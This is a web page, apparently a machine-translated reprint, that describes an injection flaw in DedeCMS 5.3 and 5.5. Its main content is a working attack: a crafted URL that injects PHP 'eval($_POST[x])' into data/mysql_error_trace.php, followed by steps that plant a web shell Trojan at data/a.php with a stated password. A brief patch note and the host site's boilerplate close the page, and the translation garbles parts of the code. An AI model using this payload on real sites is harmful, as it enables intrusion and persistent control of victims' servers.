Major injection vulnerabilities in dedecms5.3 and 5.5 versions,

Source: Internet
Author: User

Author: Zhang Heng
Assume that the domain name is www.abc.com. The attack steps are as follows:
1. visit the website:
Http://www.abc.com/plus/digg_frame.php? Action = good & id = 1024% 651024 & mid = */eval ($ _ POST [x]); var_dump (3);?>

2. Access the http://www.abc.com/data/mysql_error_trace.php to see the following information to prove that the injection was successful.
Int (3) Error: Illegal double '1024e1024' value found during parsing
Error SQL: Select goodpost, badpost, scores From 'gxeduw _ archives 'where id = 1024e1024 limit 0, 1; */?>


3.execute the file test.html In the compressed package. Note that the action address in form is:
<Form action = "http://www.abc.com/data/mysql_error_trace.php" enctype = "application/x-www-form-urlencoded" method = "post">
After confirmation, the information shown in step 2nd indicates that the file Trojan is successfully uploaded.
Trojan URL: http://www.abc.com/data/a.php
Password 2006888
Vulnerability Analysis:
MySQL field value overflow causes errors and DEDECMS uses PHP to record database error information and the file header is not verified.
Solution:
Open the File include/dedesql. class. php
Find code
@ Fwrite ($ fp, '<''.'? Php '. "/* {$ savemsg }*/? "."> ");
Replacement Code
@ Fwrite ($ fp, '<'.'? Php '. "exit;/* {$ savemsg }*/? "."> ");
Clear data/mysql_error_trace.php File Content

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.